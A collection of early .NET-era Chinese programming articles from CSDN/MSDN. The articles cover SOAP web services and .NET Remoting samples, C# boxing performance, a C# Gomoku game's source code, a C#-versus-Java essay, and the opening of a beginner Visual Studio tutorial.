SDK 中有一种称为 WebServiceUtil.exe 的工具（在 VS IDE 中使用“Add Web Reference...”选项时自动生效）。这个程序可用于下载 Web Service 的 WSDL 说明，然后创建表示这个服务的地址的代理类。例如，您可以输入：

WebServiceUtil /c:proxy /pa:http://someDomain.com/someFolder/HelloWorld.asmx?SDL

然后，系统将创建称为 HelloWorld.cs 的代理类。

这个类与前面创建的类看起来非常相似。它包括称为 SayHelloWorld 的方法，该方法返回字符串。将这个代理类编译到应用程序中，然后调用其方法，结果是代理类在 HTTP 上打包 SOAP 请求，并接收 SOAP 编码的回应，然后封送为一个字符串。

从客户端来看，代码非常简单：

Dim myHelloWorld As New HelloWorld()
Dim sReturn As String = myHelloWorld.SayHelloWorld()

返回值将是“Hello World”。

将 SOAP 用作组件开发工具
创建分布式应用程序时，如果需要高度控制性并要求能够选择系统耦合程度，那么可以使用 Microsoft .NET Remoting。

Microsoft .NET Remoting 还提供了与公共语言运行时的深入集成，并且为开发人员提供了全面的跨连接类型系统保真性。这包括构造函数、委托、重载方法、通过值和引用传递对象、类的层次结构、接口、方法、属性、字段，以及通过可插入通道、分布式标识、激活、租用生存期和 CallContext（独立于参数的 SOAP 头中的流对象）在连接上的应用程序 (Web Services) 之间进行 Marshal by Value（制作副本）以及 Marshal by Ref（传递 ObjRef）。

使用 .NET Remoting，开发人员可以从任何进程提供 Remoting 终结点，包括控制台应用、GUI 应用、NT Service 和 IIS。在任何使用有效加载编码（在产品中提供了可插入序列化格式化程序以及 SOAP 和二进制格式化程序）通过可插入通道进行的任何传输过程中都会出现这种情况。SOAP=HTTP+XML，同时完全支持 HTTP 和 SMTP 上的 SOAP 1.1，这十分令人满意。

我们可以获得 WSDL 支持来说明 Web Service 并保证运行时类型系统的完全保真性。.NET Remoting 提供了 .NET SDK 的 Soapsuds 工具，可以从元数据生成受控类和 COM 对象的服务说明。Soapsuds 工具也使用服务说明并生成元数据和代理。开发人员可以使用密集侦听模型，将自己的操作作为应用程序入站和出站消息流插入。想更为深入的开发人员则可以采用使用套接字的二进制编码 TCP 通道。

.NET Remoting 使受控组件、本机 COM/COM+ 组件以及接受服务的组件（使用 COM+ 服务的受控组件）远程化。SOAP、二进制以及任何一种可插入通道和格式上都可能出现这些情况。

样例：SOAP 受控代码事件
下列代码演示如何在两个应用程序之间引发受控代码事件。客户端有一个本地对象，注册为接收远程对象的事件通知。客户端呼叫服务器对象时，就引发事件，产生对客户端本地对象的回叫。

服务器端
zap.cs
using System;

namespace Zap
{
// 定义事件参数
public class GreetingEventArgs : EventArgs
{
public GreetingEventArgs(string greeting)
{
this.greeting = greeting;
}

public string greeting;
}

// 定义事件
public delegate void GreetingEvent(object sender,
GreetingEventArgs e);

// 定义服务
public class Waz : MarshalByRefObject
{
// 客户端将预定和取消预定此事件
public event GreetingEvent Greeting;

// 由客户端远程调用的方法
public void HelloMethod(string greeting)
{
Console.WriteLine("Received String {0}", greeting);

// 将字符串打包到 GreetingEventArgs 中
GreetingEventArgs e = new GreetingEventArgs(greeting);

// 引发事件
if (Greeting != null)
{
Greeting(this, e);
}
}
}
}

host.cs

using System;
using System.IO;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels.HTTP;

public class Host
{
public static void Main(string[] args)
{
// 手动加载 http 通道。
// 这也可以在 Remoting 配置文件中完成。
ChannelServices.RegisterChannel(new HTTPChannel(999));

// 注册服务器类型。
// 这也可以在 Remoting 配置文件中完成。
RemotingServices.RegisterWellKnownType(
"Zap", // 程序集
"Zap.Waz", // 完整的类名
"host/Waz.soap", // URI
WellKnownObjectMode.Singleton); // 对象模式

// 完成操作，等候用户退出
Console.WriteLine("主机已经准备好处理远程消息。");
Console.WriteLine("请按 ENTER 键退出");
String keyState = Console.ReadLine();
}
}

客户端
client.cs

using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels.HTTP;

using Zap;

// 将对象按引用本地封送到要引发的事件
public class Baz : MarshalByRefObject
{
public void GreetingHandler(object sender, GreetingEventArgs e)
{
Console.WriteLine("GreetingHandler 回叫: 问候: {0}\n",
e.greeting);
}
}

public class Client
{
public static void Main(String[] args)
{
Baz baz = new Baz();

// 这也可以在 Remoting 配置文件中完成。

// 注册 HTTP 通道
ChannelServices.RegisterChannel(new HTTPChannel(0));

// 获取 SOAP URL 代理
Waz waz = (Waz)Activator.GetObject(
typeof(Waz),
"http://localhost:999/host/Waz.soap"
);

// 预定事件: 通过 SOAP 进行
waz.Greeting += new GreetingEvent(baz.GreetingHandler);

for (int i = 0; i < 5; i++)
{
// 通过 SOAP 向 waz 发送
waz.HelloMethod("Bill" + " " + i);
}

// 取消预定事件: 通过 SOAP 进行
waz.Greeting -= new GreetingEvent(baz.GreetingHandler);
}
}

Makefile
makefile

all: Host.exe Zap.dll Client.exe

Host.exe: Host.cs
csc /r:System.Runtime.Remoting.dll Host.cs

Zap.dll: Zap.cs
csc /t:library -out:Zap.dll Zap.cs

Client.exe: Zap.dll Client.cs
csc /r:System.Runtime.Remoting.dll /r:Zap.dll Client.cs

在一个窗口中启动 host.exe 文件，然后在另一个窗口中启动 client.exe 文件。您将会看到事件被引发回到客户端。

这是诸多 .NET Remoting 应用程序中的一个小例子。.NET Remoting 提供了网络上的完全 CLR 受控代码类型系统，它还是优秀的 SOAP 服务器和客户端，因为它完全符合 SOAP 1.1 规范。

将 SOAP 用作 ATL 开发工具
ATL Server Web Services 为 C++ 开发人员提供了在本机代码中创建和使用 Web Services 的简便方式。ATL Server 是 C++ 开发人员在 Internet 上提供和使用 Web Services 的首选方法，其设计目的是为包含 SOAP 的 Web 应用提供快速、轻便和高度灵活的程序库。

ATL Server 之所以称为 ATL，是因为它体现了同时追求高性能和灵活性的 ATL 目标。例如，您可以很容易地抛开 ATL Server HTTP 模型，编写您自己的调度程序，同时仍然获得 ATL Server 封送/协议代码的好处。

ATL Server Web Services 使用与 COM 相似的语法说明接口，便于目前的 ATL 开发人员学习。这种与 COM 相似的语法允许开发人员轻而易举地将对象同时以 COM 对象和 Web Service 方式提供。

属性的引入大大简化了代码，使它对于非 ATL 开发人员也很容易。ATL Server 具有和其他所有 .NET Web Services 进行互操作的能力，这对那些在一个应用程序中使用多种技术的开发人员来说十分方便。

接口：新的 __interface 关键字使开发人员很容易创建 COM 对象或 Web Services 接口。

[
uuid("D7DAE6FD-AEBB-4579-BD8D-866F74139501"),
object
]
__interface IWeb_Service_ExampleService
{
[id(1)] HRESULT HelloWorld([in] BSTR bstrInput, [out, retval] BSTR *bstrOutput);
};

这是一个运用 ATL Server 定义 Web Service 接口的例子。通过 C++ 属性的运用，嵌入式 IDL 属性和新的 __interface 关键字、ATL Server Web Service 接口看起来和新的属性化的 COM 接口非常相似。这里的 Web Service 接口样例 IWeb_Service_ExampleService 仅实现一个方法 HelloWorld。HelloWorld 用 BSTR 作为输入并返回 BSTR 作为输出。

请求处理程序：请求处理程序是一个 C++ 类，该类通过处理程序映射来提供，并且具有通过替代方法映射来提供的方法。处理程序映射只是文字标签与类名称的映射，而方法映射是类中文字标签与方法的映射。

[
request_handler(name="Default",sdl="GenWeb_Service_ExampleServiceSDL"),
soap_handler(
name="Web_Service_ExampleService",
namespace="urn:Web_Service_ExampleService",
protocol="soap"
)
]
class CWeb_Service_ExampleService:
public IWeb_Service_ExampleService
{
public:

[ soap_method ]
HRESULT HelloWorld(BSTR bstrInput, BSTR *bstrOutput)
{
CComBSTR bstrOut(L"Hello ");
bstrOut += bstrInput;
bstrOut += L"!";
*bstrOutput = bstrOut.Detach();

return S_OK;
}
};

ATL Server 请求处理程序模型与 Web 应用和 Web Services 非常相似。图 1 显示了处理请求的模型：

图 1. ATL Server 请求处理模型

HTTP Request 进入 IIS，将请求（基于 URL 及其扩展）映射到适当的 ISAPI DLL。然后，ISAPI DLL 把在请求中指定的处理程序（即在标签或查询参数中指定的处理程序）映射到适当的 Application DLL。Application DLL 再将这个处理程序映射到 C++ 对象。在这个模型（ATL Server 模型）中，Web 应用程序和 Web Service 的唯一差别在于最后一步。使用 Web Services，C++ 对象能够解码/编码 SOAP（当编译器解析 soap_handler 属性时，它会插入执行此操作的代码）。

您可以理解，这个类是从我们的接口继承过来的，并且我们使用 [soap_method] 属性指示将由 HelloWorld 方法来处理 SOAP 请求。实现这种方法和实现任何其他 C++ 方法是一样的。

这个 soap_handler 属性还确保自动生成有效说明服务的 WSDL。Web Service 的用户使用这个对服务的说明（格式为 XML/WSDL），确保他们能够以正确的格式发送/接收正确的数据。

通过 ATL Server 使用 Web Services
通过 ATL Server 使用 Web Services 相对来说是个比较简单的操作。开发人员只需使用 “Add Web Reference” 对话框，将它指向 .disco 文件，然后指向 WSDL，这和使用其他类型的 Web 引用一样。这个对话框在后台运行在 Web Service 的 WSDL 上的 sproxy.exe 实用程序（对于非本机的 .NET Web Services 有另外一个实用程序）。

该操作将创建 Web Service 代理文件，包含要求利用所请求的 Web Service 的全部 C++ 代码。使用 WSDL 中的信息，代理生成器能够判断 Web Service 要接收到的数据以及它要返回给客户端的数据。这就允许代理生成器创建可以和 Web Service“交谈”的头文件。

您只需创建自己的 Web Service 类（如在生成的头文件中查找到的一样）的实例，并且使用合适的方法即可，例如：

CWeb_Service_ExampleServiceService MyService;
CComBSTR bstrOut;
CComBSTR bstrIn(L"World");
MyService.HelloWorld ( bstrIn ,&bstrOut,);
wprintf(bstrOut);

现在，您就已经有一个基本的 ATL Server Web Service 和 ATL Server Web Service Consumer 了。

总结
本文的主要目的是对 .NET 框架和 Visual Studio.NET 中的 SOAP 功能作一个总体的介绍。其次，就如何创建使用 SOAP 的应用程序，给用户一些有益的指导。


csdn_使用 C#: 打开包装! 快点!

  使用 C#: 打开包装! 快点!
作者： msdn
请访问 MSDN 源代码中心，下载本专栏文章中示例的源代码（英文）http://msdn.microsoft.com/code/default.asp?URL=/code/sample.asp?url=/MSDN-FILES/026/002/254/msdncompositedoc.xml。

上个月，我们介绍了装箱和取消装箱的方法，以及什么时候会用到它们。这个月，我们将研究装箱对性能的影响，以及我们应当怎样将这种影响减少到最小。

装箱和性能
由于进行了装箱，所以 C# 中的对象模型非常简单明了。但是采用经过装箱的数值类型会导致性能的降低。在大多数情况下，对象模型的简化比性能的降低更为重要。对于一般的软件而言的确是这样。节省开发和维护软件的时间是最需要进行优化的地方，同时正是这些优化措施能够最大程度地改善程序的性能。

最佳的解决方案可能是使用一个通用的 ArrayList。这样我们可以声明一个 Arraylist<int>，该对象就可以不经过装箱直接存储 int 值。不幸的是，在 C# 的第一版本中没有通用数据类型（尽管人们正研究在后续版本中提供这种功能），所以这种解决方案于事无补。

有时候可以用别的没有装箱损耗的对象来代替。除了利用 ArrayList 来保存 int 值以外，还可以（需要使用较少的额外代码来添加新的元素）使用 int[]，或者还可以编写一个 ArrayListInt 来封装这些额外代码。但是，这并不是最简便的解决方案。

还有很多其他的选择。为了更好地对它们进行说明需要举一个具体的实例。

字数统计
这是我以前编写的一个 C# 程序，它可以将一个测试文件分解成一个个的单词，再统计每个单词出现的次数。我写这个程序的目的是为了了解常用表达式类在框架中的工作方式，并将用 C# 编写的程序与用 Perl 编写的类似程序进行比较。

如果您还没有接触过 Perl 的话, 这是一种专门用于文本处理的编程语言，所以特别适用于这样的任务。

最容易想到的、统计单词出现次数的方法是将单词作为关键字，利用“散列表”存储单词出现的次数。代码的内循环如下所示：

while ((line = stream.ReadLine()) != null)
{
foreach (string word in regexSplit.Split(line.ToLower()))
{
int count = 0;
object value = wordTable[word];
if (value != null)
count = (int) value;
wordTable[word] = count + 1;
}
}

在内循环中, 我们从“散列表”中获得某个关键字的当前值。如果该值不是空值，就将它转换成一个 int。随后重新将正确的值存储到“散列表”中。

编写这段代码很容易，但是如果某个单词已经存在的话，它将会造成相当大的性能损耗。仅仅为了累加某个值，我们不仅要对它进行解装箱，还需要为每个字符串计算两次散列码。

尽管会产生这些损耗，但是这段程序的性能仍然是相当不错的。为了获得一些具体的性能指标，我需要使用一些比较合适的文本文件。我首先下载了由 David Weber 撰写的《On Basilisk Station》（英文），其中包括 160,000 个单词。对于一次比较全面的测试而言这个文件显得有些小。用 Perl 编写的程序可以在不到一秒钟的时间里将它处理完毕。随后我从 Project Gutenberg（英文）下载了《战争与和平》（英文），其中包括大约 600,000 个单词。这个要稍好一些。

用 Perl 编写的程序花费了大约 4 秒钟，就完成了对《战争与和平》的字数统计。而使用了被装箱的 int 的 C# 程序花了大约 10 秒钟。每秒钟处理 60,000 个单词已经很不错了，但是我对到底可以将它的速度提高到多少非常感兴趣。

确定基准
在我们开始尝试不同的方法以前，我们需要知道这个 C# 程序的基准时间是多少。换句话说，读取文件的所有行，并将它们分解成一个个的单词而不进行字数统计，这个过程需要多长时间。这样做非常重要，因为只有这样我们才能只比较源代码中的统计部分所用的时间。

如果我们编写实现上述任务的代码，我们发现在大约 7 秒钟的时间内就完成了除了字数统计以外的所有任务。这意味着字数统计部分花费了几秒钟。

让程序运行得更快
我们的目标是取消整型数据的装箱和取消装箱过程。换句话说，我们希望能够不经过对整型数据进行解装箱以及随后再对其重新装箱的过程直接累加“散列表”中的值。要做到这一点，一种显而易见的方法是使用一种引用类型，而不是数值类型。我们可以将整型统计值装箱在类中。这个类非常简单：

class IntHolderClass
{
int count;
public IntHolderClass()
{
count = 1;
}
public int Count
{
get
{
return(count);
}
set
{
count = value;
}
}
public override string ToString()
{
return(count.ToString());
}
}

当为这个类创建一个新的实例时，统计值设为 1。统计值可以通过 Count 属性递增。主循环被修改成如下形式：

foreach (string word in regexSplit.Split(line.ToLower()))
{
wordCount++;
IntHolderClass value = (IntHolderClass) wordTable[word];
if (value == null)
{
wordTable[word] = new IntHolderClass();
}
else
value.Count++;
}
}

如果单词不存在，就创建一个新的装箱类实例，并将其放入“散列表”中。如果单词已存在，就累加其计数。

当我们运行此版本时，我们发现所花时间不到一秒钟。这大约是采用了装箱的程序所花时间的 30%。刚开始我对这个结果有些惊讶，因为表面上看起使用类应当造成更多的损耗。但是经过仔细思考，我们知道，很显然，尽管创建一个被装箱的 int 与创建一个装箱类所造成的损耗是相同的，但是对于被装箱的 int，我们为每个单词（总共有 600,000个）而不是为每个唯一的单词（大约有 19,000 个）创建了一个装箱。

这种技术所带来的性能改善的程度取决于我们在数值保存在集合类中时所执行的操作的次数。如果我们只是找到该对象并将其取出，那么不会带来任何性能上的改善。例如，如果我用一个 ArrayList 来保存用于后续处理的整型值，那么采用这种技术对于性能将没有任何帮助。

当您编写代码时，最好使用尽可能简便的方法。在实现这种方法以后，如果需要更快的速度，则可以再考虑其他的方法来提高运行速度。

另一种技术
还有一种类似的方法可获得同样的结果。数值类型可以作为接口，但是因为接口都是引用类型，所以您只能使用一个引用某个被装箱的数值类型的接口。我们可以定义一个具有 Increment() 成员的接口，并使用该数值类型实现它。利用这种方法，我们可以直接通过被装箱的数值类型获得接口，然后再调用 Increment() 函数，这一切都不需要取消装箱。接口和数值类型如下：

interface IIncrement
{
void Increment();
}

struct IntHolderStruct: IIncrement
{
int value;

public IntHolderStruct(int value)
{
this.value = value;
}
public int Value
{
get
{
return(value);
}
}

public void Increment()
{
value++;
}

public override string ToString()
{
return(value.ToString());
}
}

我很希望宣布这是由我自己独立完成的，但实际上它是我在最近的一次会议上遇到的一个与会者编写的。这种实现的主循环的工作方式与采用装箱类的那段程序非常相似。这个程序运行时所花费的时间大约是采用被装箱的 int 的程序所花时间的 32%。换句话说，它只比采用装箱类的程序稍慢一点。

全部结果
以下内容是对全部结果的总结。

表 1《On Basilisk Station》的结果

实现方式 所用时间 相对于被装箱 Int 的比例
被装箱 Int 0.64 1.00
装箱类 0.28 0.43
装箱结构和接口 0.29 0.45

表 2《战争与和平》的结果

实现方式 所用时间 相对于被装箱 Int 的比例
被装箱 Int 3.01 1.00
装箱类 0.92 0.31
装箱结构和接口 0.97 0.32

各种实现和驱动程序代码可以在示例代码中找到。为了在归档时不至于太大，我在这里省去了这些文本文件。我还引用了一个 Perl 文件作为参考。如果您要运行这个 Perl 程序，您需要从 http://www.activestate.com 站点下载 ActivePerl 软件（这是一个免费软件）。

总结
我希望您喜欢这篇关于装箱的介绍。通常，尽管装箱会导致性能上的一些损耗，但是并没有太大关系，因为相比之下简化更为重要。但是有时候，可能需要使用一个装箱类来减少由于装箱所带来的性能损耗。

网站摸彩袋
在这个摸彩袋中有相当多的站点，所以我使用我的秘密的随机数生成器来挑出其中的五个。它们是:

CSharpFree.com

csharpindex.com

C# Corner

The .NET Enhance Project

Technical Lead
再次需要指出的是，这些都是没有保证的站点。我所能保证的是当您点击上面的 URL 地址时会显示一个网页。

--------------------------------------------------------------------------------

Eric Gunnerson 是 C# 编译器组的 QA 领导，C# 设计组的成员，以及“A Programmer's Introduction to C#”（英文）一书的作者。他从事编程工作的时间很长，他甚至知道什么是 8 英寸磁盘，还能用一只手装磁带。


csdn_c#写的五子棋程序

  c#写的五子棋程序
作者： xumei
前几天没事，写了一个小程序，可以用于学习C#。
程序使用了VS.NET环境编译，你的机器只要安装了.NET Framework SDK就可以运行。
源码和执行文件可以下载
你不想下载也可读一下源码（图片资源等需要下载）。
namespace Leimom.FiveChess
{
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.WinForms;
using System.Data;
/// <summary>
/// Summary description for Form1.
/// </summary>
public class FiveForm : System.WinForms.Form
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components;
private System.WinForms.ImageList imageListbw;
//define the hot Rectangle
private Rectangle[] pointSquares;
//chess information
private int[] chessTable;
private int nextTurn;
private const int bTurn = 1;
private const int wTurn = 2;
private Stack chessIndex;
public FiveForm()
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
//
// TODO: Add any constructor code after InitializeComponent call
//
chessIndex = new Stack();
nextTurn = bTurn;
chessTable = new int[225];
pointSquares = new Rectangle[225];
Size size = new Size(18,18);
int x = 0;
int y = 0;
for(int i = 0;i < 225;i++)
{
x = i%15;
y = i/15;
pointSquares[i].Size = size;
pointSquares[i].Offset(9+x*20,6+y*20);
chessTable[i] = 0;
}
}

protected override void OnPaint(PaintEventArgs e)
{
//you may paint
Graphics g = e.Graphics;
}
protected override void OnMouseDown(System.WinForms.MouseEventArgs e)
{
switch( e.Button )
{
//take left button down
case MouseButtons.Left:
OnLButtonDown(new Point(e.X,e.Y));
break;
//take right button down
case MouseButtons.Right:
OnRButtonDown(new Point(e.X,e.Y));
break;
}
base.OnMouseDown(e);
}
private void OnLButtonDown(Point p)
{
int nPos = GetRectID(p);
//click hot Rectangle witch have no chess
if(nPos != -1&&chessTable[nPos] == 0)
{
Graphics g = this.CreateGraphics();
if(nextTurn==bTurn)
{
//draw white chess
DrawBlack(g,nPos);
chessTable[nPos] = bTurn;
nextTurn = wTurn;
chessIndex.Push(bTurn);
chessIndex.Push(nPos);
}
else
{
//draw Black chess
DrawWhite(g,nPos);
chessTable[nPos] = wTurn;
nextTurn = bTurn;
chessIndex.Push(wTurn);
chessIndex.Push(nPos);
}
g.Dispose();
//witch win
CheckGameResult(nPos,nextTurn);
}
}
private void CheckGameResult(int nPos,int nextTurn)
{
//witch win
Stack isFive = new Stack();
int thisTurn = (nextTurn == bTurn)?wTurn:bTurn;
int x = nPos%15;
int y = nPos/15;
//scan x have five
for(int i=0;i<15;i++)
{
if(chessTable[y*15+i] == thisTurn)
{
isFive.Push(y*15+i);
if(isFive.Count == 5)
{
MessageBox.Show("Game Over","Notes",MessageBox.OK);
ReSetGame();
return;
}
}
else
{
isFive.Clear();
}
}
isFive.Clear();
//scan y have five
for(int i=0;i<15;i++)
{
if(chessTable[i*15+x] == thisTurn)
{
isFive.Push(i*15+x);
if(isFive.Count == 5)
{
MessageBox.Show("Game Over","Notes",MessageBox.OK);
ReSetGame();
return;
}
}
else
{
isFive.Clear();
}
}
isFive.Clear();
//scan x=y have five
for(int i=-14;i<15;i++)
{
if(x+i<0||x+i>14||y-i<0||y-i>14)
{
continue;
}
else
{
if(chessTable[(y-i)*15+x+i] == thisTurn)
{
isFive.Push((y-i)*15+x+i);
if(isFive.Count == 5)
{
MessageBox.Show("Game Over","Notes",MessageBox.OK);
ReSetGame();
return;
}
}
else
{
isFive.Clear();
}
}
}
isFive.Clear();
//scan x=-y have five
for(int i=-14;i<15;i++)
{
if(x+i<0||x+i>14||y+i<0||y+i>14)
{
continue;
}
else
{
if(chessTable[(y+i)*15+x+i] == thisTurn)
{
isFive.Push((y+i)*15+x+i);
if(isFive.Count == 5)
{
MessageBox.Show("Game Over","Notes",MessageBox.OK);
ReSetGame();
return;
}
}
else
{
isFive.Clear();
}
}
}
isFive.Clear();
}
private void ReSetGame()
{
//reset game
nextTurn = bTurn;
for(int i=0;i<225;i++)
{
chessTable[i] = 0;
}
this.Invalidate();
}
private int GetRectID(Point p)
{
//get witch rectangle click
for(int i = 0;i < 225;i++)
{
if(pointSquares[i].Contains( p ))
{
return i;
}
}
return -1;
}
private void OnRButtonDown(Point p)
{
//regret chess
int nPos,x,y;
if(chessIndex.Count != 0)
{
nPos = (int)chessIndex.Pop();
x = nPos%15;
y = nPos/15;
chessTable[nPos] = 0;
nextTurn = (int)chessIndex.Pop();
this.Invalidate(new Rectangle(new Point(8+x*20,5+y*20),new Size(20,20)));
}
}
private void DrawBlack(Graphics g,int nPos)
{
//draw Black chess
int x,y;
x = nPos%15;
y = nPos/15;
imageListbw.DrawImage(g,8+20*x,5+20*y,20,20,0,0);
}
private void DrawWhite(Graphics g,int nPos)
{
//draw White chess
int x,y;
x = nPos%15;
y = nPos/15;
imageListbw.DrawImage(g,8+20*x,5+20*y,20,20,0,1);
}
/// <summary>
/// Clean up any resources being used.
/// </summary>
public override void Dispose()
{
base.Dispose();
components.Dispose();
}
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.Resources.ResourceManager resources = new System.Resources.ResourceManager (typeof(FiveForm));
this.components = new System.ComponentModel.Container ();
this.imageListbw = new System.WinForms.ImageList ();
//@this.TrayHeight = 90;
//@this.TrayLargeIcon = false;
//@this.TrayAutoArrange = true;
//@imageListbw.SetLocation (new System.Drawing.Point (7, 7));
imageListbw.ImageSize = new System.Drawing.Size (20, 20);
imageListbw.ImageStream = (System.WinForms.ImageListStreamer) resources.GetObject ("imageListbw.ImageStream");
imageListbw.ColorDepth = System.WinForms.ColorDepth.Depth8Bit;
imageListbw.TransparentColor = System.Drawing.Color.Yellow;
this.Text = "FiveForm";
this.MaximizeBox = false;
this.AutoScaleBaseSize = new System.Drawing.Size (6, 14);
this.BorderStyle = System.WinForms.FormBorderStyle.FixedSingle;
this.BackgroundImage = (System.Drawing.Image) resources.GetObject ("$this.BackgroundImage");
this.TransparencyKey = System.Drawing.Color.White;
this.ClientSize = new System.Drawing.Size (314, 311);
}

/// <summary>
/// The main entry point for the application.
/// </summary>
public static int Main(string[] args)
{
Application.Run(new FiveForm());
return 0;
}
}
}


csdn_C#是一种新的语言？或者仅仅只是J…… (1)

  C#是一种新的语言？或者仅仅只是J…… (1)
作者： 曹伟
去年夏天，微软公司宣布了一种称为.Net的新的分布式应用体系结构，这引起了媒体的极大注意。与这种.Net体系结构相配合的新的开发语言称之为C#。
    本文将首先探讨一下一门新计算机语言的产生动机，并由此推断一下C#语言的产生。然后讨论一下C#与Java语言之间几个基本的区别。
    C#（发音“C Sharp”）是由微软公司研究人员Anders Hejlsberg最新研究开发的一种计算机语言。它看起来与Java语言非常相似：包括了单重继承、接口，以及几乎一致的语法、编译成中间格式等众多特点。C#与Java的区别在于其借鉴了Delphi的设计特点，直接整合了COM（组件对象模块），而COM在微软的.Net视窗网络体系结构中扮演着重要角色。
    走近C#
    从以往的开发经验中可以知道，如果要开发一门新的计算机语言，就要解决那些用C或C++语言开发时常遇到的传统问题，如内存泄漏、多线程应用程序写入困难、静态链接、非法指针调用、很复杂的多重继承规则等等。为了减少语言学习过程中的弯路，就要使设计出的语言看起来与C和C++尽量相似。六年前，Sun Microsystems公司开发了与平台无关的Java语言，它增加了垃圾回收、整合了线程间的互锁、动态链接等概念，同时抛开了指针概念，只允许单继承，但又引入了接口的概念等。
    2000年6月，微软公司向外界宣布了C#语言，它是专门被设计用来为微软新生的.Net应用开发体系结构服务的。除了C#语言之外，天才人物Hejlsberg在Borland公司时还开发了Turbo Pascal和Delphi语言，在微软公司时还开发了Visual J++语言。C#和Java语言解决了C和C++语言中存在的许多相同的问题。由于C#看起来与Java很相似，有时容易混淆它们。
    那么为何要开发C#语言呢？C#是否仅仅相当于Visual J--，这意味着它只是一门没有贴Sun公司标识和商标，但带着一些新特点的Java语言；或者C#是一门提供给Windows开发者来实现Java功能，以直接与Sun公司Java语言竞争的语言？
    由于在语法、设计，甚至运行的处理上C#与Java语言如此类似，就很容易对C#产生怀疑：由于微软公司一直没有撼动Java语言的市场地位，于是就通过起一个新名称和采用微软公司推广其产品家族的惯用方式，简单地编制了一个Java的复本。但实际情况并非如此，因为在COM和.Net支持的背景下，C#是很可能在以Windows操作系统为背景的的开发领域内占有一席之地的。
    开发一门新计算机语言的动机
    计算机技术上的创新经常会改变人们关于编程和系统开发的基本设想，新的计算机语言也会伴随着这些新思想出现。一门新的计算机语言往往是被当做一些类似研究新的系统体系结构、编程语义学上新概念的研究项目的一部分来开发的，或者是集合其它几门语言的优点而开发出的一门更强大的语言。特殊的应用有时也要求有新的语言，某一种语言的要求经常与它们应用的领域密切联系，因此经常需要功能强大的计算机语言来解决现有的语言缺点，或者是满足一些商业需要。
C#语言是用来解决微软公司近来所面临一些技术和商业问题而开发的。既管在简化性上已经做了几次尝试，但COM对象编程体系结构却并不是很容易就能使用，并且分布式组件对象模块（DCOM）增加了另外层次上的难题，因此，COM的开发仅限于那些经过高级培训过的Windows C/C++编程者、熟悉COM接口听VB使用者。而C及C++语言则专门要求能有效和安全地使用许多技术，VB又不是完全面向对象的，这些无疑就形成了许多束缚。
    当Java语言从1995年出现时，人们开始谈论一个与操作系统底层应用不相关的世界。Java看上去与C和C++很相像，可以使程序员很快熟悉它。Java也在操作系统这一层次上提供了平台间的可移植性，以及解决了许多限制C和C++程序员效率的问题。


csdn_C#是一种新的语言？或者仅仅只是J…… (2)

  C#是一种新的语言？或者仅仅只是J…… (2)
作者： 曹伟
最开始时微软公司将Java当做一种能解决C和C++中存在的问题的语言，并不在意，并继续维持和培训着其C和C++技术和编程人员。接下来不幸的是，正当微软尽力在Visual J++基础上拓展Java功能，并使之与Windows操作系统紧密结合在一起的时候，Sun公司对微软提出法律诉讼说其违反了许可证协议中的条款，最终的结果是微软公司不得不停止其Visual J++产品的开发。（微软公司仍然销售Visual J++，但是从1998年10月以来就没有新的版本发布，并且在.Net平台上也没有Visual J++的位置了）接下来的事情就很清楚了，微软公司开发了C#语言。接下来的一部分将讨论C#与Java的相似性。
    C#与Java的区别
    C#最引人的地方是它与Java的区别而不是其相似性。下面主要来介绍C#区别于Java的不同的运行特点及Java完全没有的特点。
    中间语言
    当MSIL被编译成最终的机器码时，微软公司在如何选择上是非常灵活的。微软公司很谨慎的对外宣称说MSIL不是解释型的，而是被编译成机器码。因为开发人员都有这样一个观念：Java程序天生就比C程序运行慢，所以这暗示着基于MSIL的程序优于解释型的Java字节码。当然，既然C#和其它MSIL产品编译器还未发布，那么这一点就还未证明，但是Java无处不在的即时编译器使得C#和Java在效能上是一样的。象“C#是编译型的，Java是解释型的”这样话只是销售中的技巧。Java的字节码和MSIL码都是的类似汇编的中间语言，在运行时执行这些中间码。
    与COM的整合
    对于基于Windows的C#开发人员来说，最大的收获是对COM的无损整合，COM是微软Win32的组件技术。实际上，任何一种.Net体系结构上的语言最终都可能去写COM的客户端和服务器端程序。用C#编写的类也会作为COM组件的子类；结果类（resulting class）也能作为COM组件使用，并作为COM组件的子类。
    微软公司的目标是使越来越多的语言都能访问组件，并使这些组件能整合到.Net体系结构中。已有几个厂商开始着手开发支持.Net功能的编程语言，如COBOL和Haskell。开发人员能选择不同的语言解决不同问题，更重要的是，开发人员不必为采用.Net体系结构而必须学习新语言，可以选择一种他们熟悉的语言。

    总结
    本文的第一、二部分对C#做了一肤浅的总体介绍，主要是其产生动机及与Java的相似性。第三部分则涵概了C#的语言特点。用范例说明了C#与Java两者在相似性外，它们又是非常不同的，有许多细微的语义和设计区别，适合不同的技 术和市场环境，又谈到了微软公司对C#进行标准化方面的尝试，及其对Java的影响。


csdn_用C#开发第一个WINDOWS应用程序(C#学习笔记之一)

  用C#开发第一个WINDOWS应用程序(C#学习笔记之一)
作者： 王骏
读者层次：初级、中级

前言：C#是一门现代的编程语言，包含在Visual Studio .Net 7.0中。它简化了C++的复杂性，保持了灵活性，对于学过C++的人来说很容易上手。写本文的时候Visual Studio .net 7.0 Beta1已经发布，本文即针对此版本做一些简单的开发尝试。

示例代码下载 18K

一、创建工程

如图所示，在集成开发环境的File菜单中选择New->Project打开新建工程对话框

我们选择工程类型为Visual C# Projects,在模板中选择Windows Application,
在Name处输入工程名称:HelloWindows,在Location中输入保存的路径。

确定后，系统自动为你生成了程序框架。
现在我们来简单地熟悉一下这个开发环境中。

这就是我们的开发环境！
A区是我们的工具箱，包括对数据库、组件、窗体控件等的支持，我们都可以选择并加入到form中，假如你找不到Toolbox,请在菜单View中选择Toolbox以打开它。
B区是我们的设计工作区（包括对界面、代码的设计），图中显示的是我们刚才新建的应用程序的主窗口：Form1。
C区相当于我们在VC6中的workspace:Solution Explorer可以看成是以前的FileView,ResourceView和ClassView大家一定是很熟悉了，看到Solution Explorer中的 Form1.cs了吗？这就是Form1对应的C#文件，双击它就可以对Form1进行界面设计，鼠标右键单击Form1.cs在弹出菜单中选择View Code便可以查看对应的代码。
